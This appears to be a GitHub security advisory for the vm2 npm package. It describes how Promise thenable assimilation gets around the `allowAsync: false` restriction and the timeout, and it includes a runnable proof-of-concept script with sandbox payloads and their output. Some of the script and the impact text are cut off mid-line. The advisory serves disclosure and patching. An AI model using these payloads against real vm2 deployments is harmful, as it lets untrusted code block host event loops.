GitHub Advisoryadvisory · npm
GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
HIGH
Official page ↗
- Aliases
- CVE-2026-92959
- Ecosystem
- npm
- Packages
- vm2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
- Weaknesses
- CWE-693
- Reviewed
- 2026-10-05
Affected packages
• npm vm2: < 3.11.8 → fixed in 3.11.8
Description
Summary
When `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned.
This bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete.
Details
The documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled:
• `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`.
• `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false.
However, Promise static methods are still exposed and rebound to `localPromise`:
• `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`.
• `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`.
• `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`.
• `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`.
• `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`.
Those wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached.
`NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well.
The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\u`, so `lib/transformer.js:82-89` returns without AST parsing.
PoC
Maintainer-runnable clean-checkout recipe:
```sh
npm install
node - events.push(value)}});
try {
const ret = vm.run(code);
console.log(`${name}: returned ${ret}`);
} catch (e) {
console.log(`${name}: threw ${e.name}:${e.message}`);
}
await new Promise(resolve => setImmediate(resolve));
console.log(`${name} events: ${events.length ? events.join(',') : ''}`);
}
async function runNodeVmCase(name, code) {
const events = [];
const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}});
try {
const ret = vm.run(code);
console.log(`${name}: returned ${ret}`);
} catch (e) {
console.log(`${name}: threw ${e.name}:${e.message}`);
}
await new Promise(resolve => setImmediate(resolve));
console.log(`${name} events: ${events.length ? events.join(',') : ''}`);
}
(async () => {
await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);
await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);
await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);
await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);
await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);
await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);
await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);
await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);
const timeoutEvents = [];
const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}});
const started = Date.now();
const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t setImmediate(resolve));
console.log(`timeout case returned: ${ret}`);
console.log(`timeout case runReturnedInMs: ${afterRun - started}`);
console.log(`timeout case events: ${timeoutEvents.length}`);
console.log(`timeout case elapsedMs: ${Date.now() - started}`);
})();
NODE
```
Expected vulnerable output pattern:
```text
VM Promise.resolve thenable: returned 1
VM Promise.resolve thenable events: resolve-thenable
VM Promise.all thenable: returned 1
VM Promise.all thenable events: all-thenable
VM Promise.race thenable: returned 1
VM Promise.race thenable events: race-thenable
VM Promise.any thenable: returned 1
VM Promise.any thenable events: any-thenable
VM Promise.allSettled thenable: returned 1
VM Promise.allSettled thenable events: allSettled-thenable
VM direct then negative control: threw VMError:Async not available
VM direct then negative control events:
NodeVM Promise.resolve thenable: returned 1
NodeVM Promise.resolve thenable events: nodevm-resolve-thenable
NodeVM direct then negative control: threw VMError:Async not available
NodeVM direct then negative control events:
timeout case returned: 1
timeout case runReturnedInMs: 0
timeout case events: 1
timeout case elapsedMs: 35
```
Observed local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:
```json
{
"results": [
["Promise.resolve thenable", "run-returned", 1],
["Promise.resolve thenable events", "resolve-thenable"],
["Promise.all thenable", "run-returned", 1],
["Promise.all thenable events", "all-thenable"],
["Promise.race thenable", "run-returned", 1],
["Promise.race thenable events", "race-thenable"],
["Promise.any thenable", "run-returned", 1],
["Promise.any thenable events", "any-thenable"],
["Promise.allSettled thenable", "run-returned", 1],
["Promise.allSettled thenable events", "allSettled-thenable"],
["direct then control", "threw", "VMError:Async not available"],
["direct then control events", ""]
],
"timeoutCase": {
"ret": 1,
"runReturnedInMs": 0,
"events": [1779866562491],
"elapsedMs": 35
}
}
```
Observed `NodeVM` variant output:
```text
NodeVM Promise.resolve thenable: returned 1
NodeVM Promise.resolve thenable events: nodevm-resolve-thenable
NodeVM direct then control: threw VMError:Async not available
NodeVM direct then control events:
```
Impact
Applications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it.
A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can…
Related
Alias · CVE (1)
- CVE-2026-92959 vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. vulnerability
Weakness · CWE (1)
- CWE-693 Protection Mechanism Failure weakness
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-92959 advisory
- https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f web
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8 web
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable web